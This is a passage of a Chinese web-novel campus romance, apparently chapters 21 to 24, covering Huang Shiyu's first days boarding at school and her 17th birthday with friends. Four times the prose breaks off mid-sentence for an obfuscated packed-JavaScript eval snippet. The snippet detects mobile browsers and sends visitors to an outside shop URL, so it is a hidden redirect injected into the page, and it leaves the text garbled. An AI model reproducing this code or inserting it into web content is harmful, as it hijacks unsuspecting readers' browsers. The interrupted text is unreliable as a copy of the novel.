这宿舍房间虽然不大,陈设大多也比较落后,但好在一应俱全,有独立卫浴,有24小时不间断的热水,也不断电,这含金量还是非常高的。 黄时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619090|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨站在阳台上开始刷牙。 “回来啦?” 卜佳擦着头发从浴室出来,黄时雨的背后瞬间感受到一阵热气。 “你第一天住校,习惯吗?” 黄时雨含着牙刷,含糊地说,“还行,我觉得都挺方便的。” 卜佳从抽屉里拿出吹风机,插好电,却全然没有要吹的意思。 “黄时雨,我问你个事儿呗,你跟祝则溪是怎么认识的啊?” 黄时雨愣了一下,快速刷完牙,才慢慢说,“去年九月份做黑板报的时候,我找他帮忙来着,就认识了。” 卜佳若有所思地点点头,随即凑近,“那……他是喜欢你吗?” 黄时雨正在洗脸,差点被水呛到。 她完全没搞懂卜佳怎么突然会问这个问题。明明两个人就是正常的朋友关系啊,这也能被误会吗? “没有啊,我们就正常相处。” 看到卜佳一脸不相信的表情,黄时雨忍不住好奇—— “你怎么不说,是我喜欢他啊。” 卜佳瘪瘪嘴,“因为你看起来根本就不像是会早恋的人,就是眼神里全是对高分的渴望,完全没有对爱情的向往。” 黄时雨忍不住笑出声。 谁家好人眼神里这么有内容啊。 “没有,都没有,”黄时雨洗漱完毕,把毛巾挂到晾衣架上,转身轻轻捏了一下卜佳的脸,“快吹头发吧,时间不早了哦” 黄时雨走到书桌前,随便用护肤品糊弄了两下,就爬到床上,拉上床帘,躺下休息。 门锁响了,应该是黎果回来了。 底下两人除了打招呼,基本没有别的交流。 这场景还真和卜佳说的一样,如果黄时雨不住校,晚上她真的连一个说话聊天的人都找不到。 手机的消息提示音突然响起。 黄时雨从枕头下拿出手机—— [微信] [笙笙宝:回宿舍了吗,还习惯吗?] 黄时雨快速打字。 [在床上躺着呢,目前感觉住校还挺有意思的。] [笙笙宝:那就好,而且早上不用这么早起,提前四十分钟起床就行。] [之前你就说过啦,怎么变啰嗦了啊] 黄时雨紧接着补充了一个做鬼脸的表情包。 [笙笙宝:拳击.jpg] 放下手机,黄时雨甚至来不及认真思考刚刚和卜佳的聊天,就困得眼皮打架,很快便沉沉睡着了。 21. 第二十一次招惹 第二天早上六点半,黄时雨的闹钟猝不及防地响了。 她伸手把闹钟按灭,翻了个身想着再眯五分钟。 宿舍里传来窸窸窣窣的换衣服的声音,根据方位辨别,应该是睡在对面上铺的黎果。 黎果穿衣服的速度好快,黄时雨感觉还不到一分钟,她就拉开帘子爬下床了。 经过了一番心理建设后,黄时雨最终还是抵抗住了被窝的温暖,从床上爬了起来。 黄时雨拉开床帘,探出头,正好跟正在下铺探出头往上看的卜佳四目相对。 黄时雨做了个口型,“起床啦!” 卜佳半眯着眼睛,迷迷糊糊地点点头。 阳台稍微有点挤,三个人只能一个先换鞋,一个先扎头发,一个先洗漱。 黎果最早收拾好,站在门口,“我先去食堂了。” “好,你先去吧,”黄时雨边刷牙边回答。 又过了五分钟,两人也装戴整齐,准备出发去食堂。 早上六点五十,食堂的白炽灯晕开冷色的光,住校生们身上还裹着被子的余温,但也必须强制开机迎接新一天的学习重任。 黄时雨和卜佳走进食堂,也不管前面卖的是什么,随便找了个人少的队伍就站了过去。 排在黄时雨前面的这个男生,正拿着一个小本本在背英语单词;再往前那个女生,在背6分的语文默写,他们头都不抬一下,在追逐高分的道路上一刻不得闲。 “卜佳,早知道我们也拿点什么资料背一背了,这几分钟的时间也应该好好利用一下。” 黄时雨侧身示意卜佳往前看。 “哎,人家是高三的,真到了冲刺阶段,咱们也一样,别急。” 卜佳不以为意,伸手拍了拍黄时雨的肩膀。 终于轮到黄时雨买早餐了,食堂阿姨揭开新的蒸笼,一瞬间,白雾轰地漫过打饭窗口,让玻璃蒙上一片水雾。 “要什么?” “要两杯豆浆,一个豆沙馒头,一个年糕,四个玉米蒸饺。” 为了节约时间,两人在来的路上就商量好,一个人点单,另一个人刷卡。 拿过早餐,黄时雨低头看了一眼手表。 还有十三分钟,绰绰有余。 “我们坐着吃吧,六七分钟吃得完。” “好。” 早起对高中生来说绝非易事,所以大多数同学都会选择卡点来食堂买早餐,然后在往教室走的路上狼吞虎咽解决掉,因此坐着吃早饭的人少之又少。 又特别是今天,明明要召开关于校园暴力的校会,黄时雨却还是一眼就看见有个背对着自己,坐在门口吃早饭的男生,穿了一套显眼的黑色衣服,在一众蓝白相间的校服里显得格外突兀。 黄时雨和卜佳狐疑地走过去,那个男生刚吃完早饭准备起身。 “祝则溪,你怎么没穿校服啊,你忘记今天要开校会了吗?” 黄时雨没想到祝则溪一个看起来那么听话的人,居然会在穿校服开校会这件事上出岔子。 祝则溪笑了笑,说出一个老掉牙的理由—— “洗了没干。” “……” 黄时雨一时语塞,吐槽的话到了嘴边又咽了回去。 “没有没有,是我今天有事,已经提前跟老师说明情况了。” 黄时雨点点头,也没好意思再细问。 “我吃完了,先走了哦。” “嗯好。” 祝则溪在食堂门口扔掉垃圾袋,转身朝教学楼走去。 走在路上,作为学校里唯一没有穿校服的人,发现来来往往的同学都不约而同地看着自己,祝则溪总感觉有些不自在,像是故意在人群中扮演一个异类一样。 刚走上二楼,在拐角处,祝则溪就听见班主任老刘在教室门口给罗亦芃安排校会事宜。他说话声音很大,中气十足,祝则溪就算是隔着半层楼的距离也能听得一清二楚。 祝则溪谨慎地停住脚步,准备等老刘回办公室了再上去。 “祝则溪,你不去教室,在这儿干啥?” 齐章年从背后拍了一下祝则溪的肩膀。 祝则溪赶紧指了指自己的衣服,又指了指教室,最后露出一个哭唧唧的表情。 齐章年立刻心领神会地比了个“OK”的手势,两个人一起被堵在上二楼的转角处。 “祝则溪,齐章年,你俩在下面干嘛?” 祝则溪的手僵在半空中,心里暗叫不好,转身抬头,老刘正站在楼梯口居高临下地盯着两人,声音冷地听不出情绪。 看到祝则溪身上没穿校服,老刘的眉毛更是拧成一团—— “祝则溪!你的校服呢?”老刘的声音陡然提高。 其实祝则溪并不是没有校服,也不是校服洗了没干,而是距离黄时雨的生日只有最后一个星期了,他需要尽可能抽出所有时间完善立体书,想要给黄时雨留下一个完美的生日回忆。 但面对老刘,他可不敢这么说。 “刘老师,我的校服洗了没干。” 祝则溪自己说完都觉得离谱,低着头不敢往上看。 齐章年在身后笑成振动模式,低着头想强行压下嘴角,却不降反增。 黄时雨和卜佳刚吃完早饭准备沿着楼梯往上走,还没上楼就听到祝则溪正在挨骂。 有楼梯和扶手的遮挡,黄时雨根本看不清祝则溪此时的表情,只感觉楼上正处于严重的低气压状态。 “走另一边?” 黄时雨停下脚步,转过头跟卜佳商量对策。 “行。” 时间不多了,两人匆匆忙忙从另一边楼梯上二楼,然后各自回到自己的教室。 而祝则溪由于没穿校服只能在校会期间留在教室里,这对于他来说简直是“求之不得”“如愿以偿”。 早自习一下课,前脚语文老师刚走,后脚教室里就吵闹起来。 寒假的校园暴力事件闹得沸沸扬扬的,影响很大,再加上今天确实是这学期除了开学典礼之外第一次开校会,所以大家难免有些激动和兴奋。 “大家安静一点,”罗亦芃在讲台上拍了几下桌子,提醒大家安静,“同学们,这次校会我们还是站在2号篮球场上,大家现在就出发。” “走咯,”齐章年起身拍了拍祝则溪的肩膀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619091|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝则溪从桌肚里拿出那本已经做得七七八八的立体书,挥手让齐章年赶紧走。 同学们像刚出笼的野兽一样呼啦啦跑出教室,走廊上吵吵闹闹的声音也随着人流慢慢散去,留下一片清静。 教室里冷清下来,正适合艺术创作。 祝则溪迅速拿出彩纸和剪刀,想着重新把第三页和第四页的机关做一下,弄得更精致一些。 “咚咚咚!” 窗户传来三声轻叩,像啄木鸟敲击树干般清脆。 祝则溪立刻打开窗户,一只熟悉的手正从窗户伸进来一点点,小鱼际肌处还留着黑笔擦过的印记。她将掌心摊开朝上,掌心里静静躺着一条脆脆鲨和一张折起来的黄色便利贴。 祝则溪的心跳漏了一拍。他认得这只手,认得她中指处因为长期不正确的拿笔姿势所造成的凹陷。 当他伸手去接时,黄时雨的手指轻轻擦过他掌心,像一片羽毛掠过湖面。 脆脆鲨的包装上还留着黄时雨的体温。 祝则溪正准备说谢谢,话到嘴边,那只手却突然变了手势—— 拇指和食指圈成圆满的“OK”,接着食指在空中画出了一个笑脸。 祝则溪忍不住笑起来,但还是努力使自己的声音听上去很平静—— “谢谢你哦,还不去校会吗?” 这只手立刻从窗户里收回去一点点,屈着两根手指做了一个“跑走”的动作,模仿小人奔跑的样子。 祝则溪听到走廊上脚步声越来越远,看着手心里攥着的脆脆鲨和便利贴,才发现自己的嘴角已经扬起了和刚才那个空气笑脸一模一样的弧度。 他的手指在打开便利贴时竟然克制不住地有些抖动,便利贴的内容像拆礼物一样缓缓地呈现在祝则溪的眼前。 上面工工整整写着两行字—— “凡事发生必有利于你!” 祝则溪不自觉地眨了一下眼睛,一颗泪珠忽然滚落到便利贴上,上面的字迹一瞬间变得模糊,祝则溪这才轻轻碰了一下眼角,发现自己好像哭了。 他仰起头,想尽力将眼泪收回去。 祝则溪忍不住回想—— 上一次哭是什么时候? 是黄时雨送自己新年红包。 再上一次呢? 是借着“拍月亮”的借口拍下与她的第一张合影。 祝则溪从来没有奢望过能得到黄时雨的关心,甚至从来没想过她会注意到自己的情绪,留意自己的生活。 他好像一直都是黄时雨生活里的观察者,或者更准确一点来说是——记录者。 黄时雨是他笔下的、画中的唯一主角,而他自己,却从未踏入其中。 “她值得更好的人,而我的爱慕已是奢侈。” 祝则溪收拾好情绪,揉了揉眼睛,继续刚刚没完成的立体书的完善工作。 昨天晚上,祝则溪在宿舍熬到凌晨一点半,把从家里带来的这些年画的画全部重新梳理了一次,又对照着临摹了一遍。这些内容,记录了黄时雨从小学到高中的每一个重要时刻。 而这些重要时刻,现在也很幸运地同步到了祝则溪的生命中。 22. 第二十二次招惹 “下周五和下周六,学校将举行高二下册的第一次阶段性考试,请大家做好准备,”上午的最后一节是物理课,老赵在下课铃结束后,撂下一个考试通知就拿起书和杯子快步走出教室。 留下一班哀嚎的学生。 黄时雨无语的表情从教室一直延续到食堂。 “哎没事,下周一你的生日,我们还是照常给你过,”吴笙笙搂住黄时雨的肩膀,试图缓解她郁闷的心情。 “谁能在考试的前几天踏实过生日啊,这什么破安排啊,服了,”黄时雨的白眼都快翻上天了,浑身上下流露出一股浓重的怨气。 坐在食堂里,看着餐盘里让人毫无食欲的菜,黄时雨的心情更是跌到了谷底。 她兴致缺缺地翻动着盘子里的菜,却一点也没吃到嘴里去。 吴笙笙实在看不下去,赶紧帮忙转移注意力。 “苗苗,下周一中午你想去哪里吃饭,我都陪你。” 黄时雨思考了一下,随即眼睛一亮,“我想去吃南街那家旋转小火锅!” “没问题!” 吴笙笙答应得干脆又利落。 “啊啊啊啊我好爱你呀,笙笙!” 黄时雨的情绪来得快,去得也快,就这么一个简单的生日去哪吃饭的问题,就让黄时雨的心情瞬间多云转晴了。 吃完饭,两个人把剩菜倒掉,然后把餐盘放到了指定地点。 黄时雨和吴笙笙并没有立刻回宿舍,而是在操场上溜达,准备消消食。 操场上还有体育生在训练,也有几个打篮球和打乒乓球的。 两个人并肩走在塑胶跑道上,时不时就被一个体育生超过去。 “笙笙,你有没有想过去哪里上大学啊?” 吴笙笙决绝地说,“越远越好。” 这几个字仿佛是从她的肺腑里挖出来的,情真意切。 黄时雨很清楚吴笙笙家的情况,也很理解她对未来的规划和对逃离原生家庭的期待。 “那你呢?” “我……”黄时雨有些犹豫,“还没想好,我不是很在意城市,学校层次好就行。” “想去哪个985?” 黄时雨无奈地笑,“985这辈子是指望不上了,能考一个中等水平的211我就很满足了。” 今天天气不错,操场上人也不少,大多都是吃完饭出来散步消食的,黄时雨和吴笙笙沿着跑道走了两圈,脸颊上偶尔感受到一丝丝凉风特别得舒适惬意。 “等等,那个是骆子玉吗?” 黄时雨随着吴笙笙手指的方向看过去,只看到了一个在矮树里起起伏伏的背影。 在操场入口处正对面,有一片矮树,只要人蹲下来藏在里面,一般不容易被发现。 黄时雨盯了半天,也没识别出那个背影到底是谁。 “这就一个背影,你怎么看出来的?” 吴笙笙着急地说,“我今天早上来上学在校门口碰到她了,就这套装扮,肯定没错。” 很快,两个人发现,那不是一个人起起伏伏,而是两个人起起伏伏。 “在约会诶,”黄时雨激动地仿佛看到了什么不得了的大事,不停拍着吴笙笙的肩膀。 吴笙笙心里一惊,赶紧拉着她往宿舍走,边走嘴里还边念叨—— “行了行了,非礼勿视,非礼勿视。” “诶!” 黄时雨本想再围观围观,却被吴笙笙一把拽走。 “你作为她曾经的室友,居然不知道吗?” 黄时雨一脸不可置信地看着吴笙笙。 吴笙笙淡定地耸了耸肩,“不知道啊,我之前以为她中午不怎么回宿舍是因为在教室学习,也没想到是这种情况。” “不过,我觉得人各有志吧,也许她更愿意选择这种,”吴笙笙继续补充。 黄时雨点点头。 回到宿舍,黄时雨打开手机,看到了妈妈上午发来的微信。 [黄妍女士:苗苗,下午我放一盒草莓在门卫室,一定要记得去拿哦。] 黄时雨赶紧回复。 [苗苗接收任务成功!] 黄时雨手机里什么娱乐软件都没有,除了手机自带的应用之外,就只剩几个拍照修图的APP了。 发完微信,黄时雨把手机往床头袋子里一扔,就立刻进入呼呼大睡状态。 下午连着两节语文课,都是在讲文言文,教室里几乎人人昏昏欲睡。 对于非常喜欢语文的黄时雨来说,明明那么有趣的文言文,怎么能被戚老师上得如此无聊,她始终无法理解。 终于等到放学,全班同学齐声发出一声“啊”的抻唤。 黄时雨狠狠伸了一个懒腰,才慢慢从座位上站起来。 “笙笙,咱们快去拿草莓,洗了之后好带去食堂吃。” “遵命!” 黄时雨和吴笙笙跑得飞快,刚跑到行政楼前,发现一堆人围着好几个展板,两人的脚步也随之停了下来。 黄时雨努力往前挤,才从人群的缝隙中发现是高三最新一次模拟考的成绩公示。 展板前挤满了人,黄时雨只能在外围听着别人的谈论。 “天呐,我听说这次模考巨难,这考688的真的是神啊!” “这个数学和英语都考满分的也是神!” “我反正永远上不这个光荣榜了。” “上不了才是常态好吧。” “无所谓了,我能有个大学念就行了。” …… 趁着前面有人退出来,黄时雨拉着吴笙笙一个箭步冲到最前面。 光荣榜上张贴了从第一名到第三十名的同学的名字和总分,以及单科第一的同学的名字和分数。 认认真真从头到尾看了一遍,黄时雨也变成了那些“被惊掉下巴”的同学之一。 特别是,黄时雨看到第三十名的名字赫然写着——骆子玉。 毕竟在黄时雨一贯的认知里,学习成绩和谈恋爱是不能兼得的,至少在中学时代不可以,因为家里人是这么说的,电视上、媒体上也是这么宣传的。 黄时雨生活在这样的主流思潮里,自然一直对此深信不疑。 可是,竟然有这样例外的人出现。 难道这样的规则不是对每个人都适用吗? 或者说根本没必要随大流遵循社会规则? 又或者说这些规则也只是个别人的偏见? 黄时雨没办法快速处理好这些剪不断理还乱的思想,因为目前的她还只是一个“身边即世界”的人。 只是她的心像被突然揪了一下,她不得不开始思考:那些由周围环境组成的恐怕只是“楚门的世界”,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619092|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许走出去,又是另外一番景象。 黄时雨正想着,突然被挤到最前面看成绩的一个男生挤开。 黄时雨正准备抱怨几句,一转头发现是齐章年。 齐章年也赶紧道歉,“不好意思不好意思,我就是想看成绩有点着急。” “没事没事。” “天呐,文科居然能考654分!” 果然,齐章年跟大家一样,在展板面前大呼小叫。 黄时雨蹲下身子,一点一点逆着人群往外挪。 “哎哟,对不起对不起,”黄时雨苟着身子,不小心撞到了一位同学,赶紧连声道歉。 这位同学不仅没有抱怨,反而伸手将她扶起来。 “撞疼了吗?” 这声音和语气好熟悉,黄时雨抬头一看,果然是祝则溪。 黄时雨疯狂摇头,“没有,不疼。” 祝则溪低头左右看了一下,确认是真没事,才开始解释刚刚的情况—— “我也想看高三的成绩,但又不想往前挤,就想着凭身高优势垫垫脚看一眼,没看到你过来,抱歉啊。” 齐章年也从人群里钻出来。 “你们俩吃饭了吗?” “没有!” 祝则溪和齐章年异口同声。 “我妈妈放了一盒草莓在门卫室,我拿上然后咱们四个一起出去吃吧。” “嗯!” “好!” “行!” 一盒鲜艳的草莓静静地躺在门卫室的桌子上,看起来饱满红润。黄时雨跟门卫大叔说明情况,进去把草莓取了出来。 在行政楼门口耽误了一会儿,现在只有吃面是最节约时间的了,毕竟晚饭时间总共只有四十分钟。 “要一碗小份炸酱面。” 吴笙笙忍不住吐槽,“我都可以帮你点了,反正你每次都点这个。” “我的最爱,没办法。” 黄时雨点好面,去洗手间把草莓全部洗干净。 等面条的过程中,四个人边吃边聊,原本看起来很多的草莓,不一会儿就被吃了个底朝天。 “黄时雨,下周一你过生日,要回家吗?” 齐章年首先发问。 黄时雨摇摇头,“不回去吧,还是住校,反正回去了我妈也很忙,还不如跟大家一起过有意思呢。” 原本正在低头吃草莓的祝则溪立刻抬头—— “那我们可以晚上给你过生日,那样比较有氛围。” 黄时雨看了一眼吴笙笙,又看了一眼齐章年,“要不还是中午过吧,晚上他俩都不在了。” 吴笙笙反应还是太敏捷了,一下子就听出了祝则溪话里有话—— 还比较有氛围,我看明明就是你的小心思藏不住了。 “那这样,我们中午在食堂或者教室给你过生日,祝则溪可以晚上的时候再单独送你礼物,这个安排可以吧?” 听到吴笙笙的建议,祝则溪有一种内心的小九九被别人看穿的尴尬感,耳尖瞬间红了,只从喉咙里轻轻发出一个“嗯”的回应。 黄时雨点头默许,并做出最后提醒,“还有,大家千万不要买蛋糕哦,我妈妈说了她会订的,到时候会直接送到学校门口,买多了吃不完很浪费。” “收到!” 另外三个人回答地坚定有力。 23. 第二十三次招惹 “滴答,滴答”,躺在床上的黄时雨完全没有睡意。 原本住校生应该上到11点才下晚自习的,黄时雨坐在教室里尝试学习,却不管学什么,都是雁过无迹,什么都看不进去。 那就算了吧,黄时雨快速打完退堂鼓,起身收拾好桌面,在十点四十就离开了教室。毕竟今天是个特殊的日子,就勉强给自己放个假吧。 经过一班时,黄时雨下意识往里面看,却没有看到那个熟悉的身影。 他今天也走这么早吗,黄时雨还有点疑惑。 就这样,黄时雨刚过十一点就上床了,但在床上翻来覆去了半个小时也没睡着。 她翻出手机,点进和吴笙笙的对话框。 [笙笙,还在学习吗?] 对面几乎是秒回。 [笙笙宝:没学了,在给你打包礼物呢。] [那真是辛苦我们家笙笙了,哭唧唧.jpg] 随后又补充—— [所以能不能稍微透露一下,大概是哪方面的礼物啊?] [笙笙宝:不能。] [笙笙宝:还有最后十分钟了。] 黄时雨看了一眼时间,突然把手机扣下去,整个人在床板上躺得平平的—— 不就是个生日嘛,怎么自己还紧张起来了。 黄时雨想不明白。 总不能干等着吧,黄时雨打开手机,无聊到开始翻自己以前的照片。 翻到自己小时候在沙发上披着毯子当贵妃的照片时,黄时雨忍不住笑出声。 通知栏里突然闪过了好几条微信。 黄时雨一看右上角——十二点整。 她点进微信,已经有好几个闺蜜卡在零点发来了生日祝福。 黄时雨正准备从吴笙笙开始一条一条回复时,那个有三个班学生的大群里突然蹦出了一条消息。 [一班齐章年:祝黄时雨生日快乐!] 紧接着—— [一班祝则溪:祝黄时雨生日快乐!] 救命啊,他们俩在干嘛?! 黄时雨虽然性格非常外向开朗,但也受不了这种社死场面。 而且,这个社死现场还在一百多人的大群里,黄时雨简直不敢想象明天早上一觉醒来该怎么面对班上的同学。 黄时雨绝望地闭上眼,可手机还在不停地震动。 黄时雨又怕尴尬又忍不住好奇,一番内心挣扎后,还是决定打开手机看看。 管他什么疾风骤雨,都得直面! 大群里的消息已经飙升到50+条了。 这几个班的同学,基本都是从满城一中的初中部考上来的,所以就算不知道名字,也可能对对方的长相有点眼熟。更何况像黄时雨这样的活动积极分子,性格很好,长得也很漂亮的女生,大家很难没有印象。 大群里大家还在不断点+1,黄时雨在回复私聊信息的过程中,眼睁睁看着消息数量增加到99+。 不行,必须阻止一下。 黄时雨点进大群,在输入框里打出几个字又删掉,反反复复了好几遍,终于写出了想要的版本—— “谢谢大家的祝福,寿星在这里希望大家也能开开心心,心想事成!” “天呐,今天是你的生日啊,生日快乐!” 黄时雨听到声音立刻坐起来拉开床帘,看到卜佳正抬头跟自己比心。 黄时雨连忙给卜佳回应了一个飞吻,估摸着黎果应该已经睡了,只能小声地说,“谢谢!” 事情果然如同黄时雨预料的那样,早上和卜佳吃完早饭一起去教室,刚走上二楼,经过的同学们就一个接一个地跟黄时雨说生日快乐。 “谢谢,谢谢”,黄时雨感谢都快说不过来了,心里是又感动又尴尬。 卜佳在一旁笑得停不下来。 “到底是哪个神人往群里发生日祝福啊,笑死我了。” “还不是齐章年!” 黄时雨咬牙切齿地说。 走到班里,这场“生日祝福”更是进入高潮。 小赵姐第一个看到黄时雨走进教室,她重重地拍了一下桌子,一字一顿地大声说—— “让我们,祝黄时雨——” 全班齐声。 “生!日!快!乐!” 黄时雨推开门的一瞬间,声音卡在喉咙里。 五十张面孔齐刷刷地转向她,每个人的眼睛都映出了黄时雨呆住的表情。 黄时雨站在教室门口,接受着同学们最真诚的祝福和投来的最诚挚的目光,突然眼前的视线变得模糊,她转过身平复了几秒心情,才笑着弯下腰去,跟大家鞠躬。 起身时,好像有什么热热的东西砸在手背上—— “谢谢大家,谢谢!” 这一上午的课黄时雨听得格外认真,精神格外抖擞。 可能是想到中午要去南街吃旋转小火锅,还要吃妈妈订的蛋糕,还要收到好朋友们的礼物,就困意全无。 还好今天最后一节课是戚老师的语文课,她从来不拖堂,因此黄时雨对抢到小火锅的座位这件事有了更充分的信心。 下课铃一响,黄时雨和吴笙笙就冲出教室,在走廊尽头,碰到了同样冲出教室准备来找寿星吃饭的祝则溪和齐章年。 黄时雨看到齐章年的气就不打一处来。 “齐章年,谁让你在群里发生日祝福的?!我今天一整天都好尴尬啊!!你知不知道!!” 齐章年蒙住耳朵节节后退,“哎呀,那不是有人没加……” 祝则溪突然咳嗽了一声。 齐章年立马改口,“我的意思是,我想帮你凑更多祝福嘛,再说了,大家都是真心的,没关系嘛。” 感觉齐章年说的也不是没有道理,黄时雨也不好得理不饶人—— “好吧,原谅你了,咱们现在去南街吃火锅!” 既是周内,又是中午,这家小火锅的人没有黄时雨想象中那么多。 四个人走进去,围着传送带坐在一起。 这家店的装修很有特色,主打一个自然清新,墙壁上挂着好几幅生机勃勃的油画,天花板上的横梁是露在外面的,被刷成了浅绿色,入口的门框上挂着好几串风铃,每当有客人进来时,风铃就会叮当作响,仿佛在替店家说“欢迎光临”。 “要什么锅底啊四位?” 老板掀开帘子从后厨走出来,笑盈盈地问。 “我们四个都是红锅。” 在来的路上,黄时雨已经问过了大家的口味,包括喜欢什么锅底,有哪些忌口,最喜欢吃什么之类的。 刚开始吃没几口,黄时雨的电话响了。 拿出手机,发现是蛋糕店打来的电话,应该是妈妈订的蛋糕到了。 “喂您好。” 黄时雨从凳子上跳下来,边接电话边往门口走。 看到黄时雨出去,三个小脑袋瞬间凑到一起。 “你们都给黄时雨准备了哪些生日礼物啊?” “我是自己手工做的,一会儿吃蛋糕的时候就知道了,”吴笙笙还是打算保密,并不打算把具体物品说出来。 “我晚上才送,你别问了,”祝则溪也直接拒绝回答。 “啧……”齐章年忍不住翻白眼,“你们一个二个的问什么都不说,那我也不说。” 黄时雨这电话打得也太快了,看到她转身,大家的脑袋像被调节到了“一键还原”模式一样自动分开。 “噢我妈妈订的蛋糕到了,说给我放门卫室了,咱们回去就可以吃。” “那我们是拿到食堂还是教室啊?” “我觉得拿到食堂吧,教室没什么位置,要是洒在书上就不好了。” 吃完饭回到学校,黄时雨又走到门卫室取蛋糕。这已经是这几天黄时雨第二次进入门卫室了。 “小姑娘,你今天过生日啊?” 门卫大叔看到黄时雨进来取蛋糕,从椅子上转过来好奇询问。 “对,十七岁生日。” “生日快乐啊,争取明年考个好大学!” “谢谢叔叔。” 黄时雨端着蛋糕从门卫室走出来,小心翼翼地端着,生怕不小心把蛋糕啪嗒一下摔到地上—— “我来拿吧。” 看到黄时雨出来,祝则溪二话不说就上前主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619093|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动接过蛋糕。 四个人一起往食堂方向走,中途还等了一会儿吴笙笙和齐章年上楼取礼物。 食堂里已经没有什么人在吃饭了,连打饭窗口都基本关闭了。 大家一起挑了一个光线最好的位置坐下。 黄时雨轻轻扯开蛋糕盒上的蝴蝶结,把蛋糕盖子打开。 “好漂亮啊!” 黄时雨和吴笙笙同时发出感叹。 蛋糕上缀满糖霜星星,纯白底色如同初雪般纯净,边缘挤着一圈精致的贝壳纹花边,顶部用淡粉色巧克力牌写着“17岁生日快乐”,巧克力牌周围散落着可食用亮片,在阳光的照射下像银河碎屑般闪耀。 祝则溪细心地撕开蜡烛袋,“要几根?” “一根吧。” 祝则溪站起来,端端正正地插在整个蛋糕的最中心。 “许愿吧!” 祝则溪微笑地看着黄时雨,又害怕自己表现得太明显,所以时不时又不得不把目光转移到其他地方缓一缓。 吴笙笙拿出手机,在黄时雨闭眼许愿时,偷偷拍下了她的侧颜。 按照满城的习俗,每次生日可以许三个愿望,前两个愿望要说出来,第三个愿望不能说出来,这样这三个愿望才能全部实现。 黄时雨双手合十,紧闭双眼。 “我的第一个愿望是健健康康,开开心心。” “我的第二个愿望是顺利考上一个好大学。” 虽然早已料到黄时雨的心愿不会与自己有关,但当她就坐在他面前,亲耳听到这句话时,祝则溪心里还是没来由地泛起一股说不清道不明的酸涩。 “第三个愿望不能说出来哦,”吴笙笙边录视频边在旁边提醒。 黄时雨的心里一瞬间涌现出好多想实现的心愿—— 想在高考结束之后去迪士尼玩。 想在家里养一条小狗。 想去拍一组人生中的第一套写真。 也想……和祝则溪…… 黄时雨慌乱摇头,不行不行,这个愿望绝对不可以许,也绝不可以在高中实现。 黄时雨,你明明是最听话,最乖的,最不让爸爸妈妈操心的孩子,你怎么能有这种想法? 黄时雨在心里一遍一遍问自己,试图将这种想法从脑海中完全剔除。 最终,黄时雨在心里许的第三个愿望是和好朋友们一起去毕业旅行。 黄时雨睁开眼,接过祝则溪递来的刀叉和盘子,用刀把蛋糕分成四大块,然后一人一块盛到盘子里,分给了大家。 吴笙笙把礼物推到了黄时雨面前,故作神秘,“要不现在打开看看,我纯手工做的。” 黄时雨打开眼前这个小盒子,里面是两条精致的项链。 “为什么送我两条项链啊?” 黄时雨从盒子里拿出来,项链在阳光下折射出好看的光彩,显得格外闪亮。 吴笙笙摇头,“没有为什么啊,因为我当时看到觉得都很适合你,就一起做了嘛。” “啊啊啊啊谢谢笙笙,我超喜欢的!” 吴笙笙被黄时雨突如其来的拥抱勒到快喘不过气了。 “好了好了,明天不穿校服的时候记得戴上给我看看。” 齐章年也把礼物推过来,这个袋子更大,但特别平整,看起来像是书本之类的东西。 “打开看看你喜不喜欢。” 黄时雨从袋子里取出一个大盒子,居然是一套手账工具,粉色的,非常精致,手帐本、信封、胶带、贴纸、书签、彩笔应有尽有。 “天呐,齐章年你好会挑啊,这套好好看!” 黄时雨轻轻摩挲着手账本表面,表面摸起来是有绒感的,触感极好,很容易让人联想到被窝里可爱的毛绒玩具。 齐章年有点不好意思地挠了挠头,“我看网上销量挺高的,估计你会喜欢,我就买了。” 黄时雨把所有礼物重新装好,看到祝则溪正直勾勾地盯着自己收拾礼物的一举一动,害怕他觉得尴尬,赶紧打圆场—— “没事,我知道你晚上送啦。” 祝则溪轻轻点头,“晚自习下课,我去找你。” 24. 第二十四次招惹 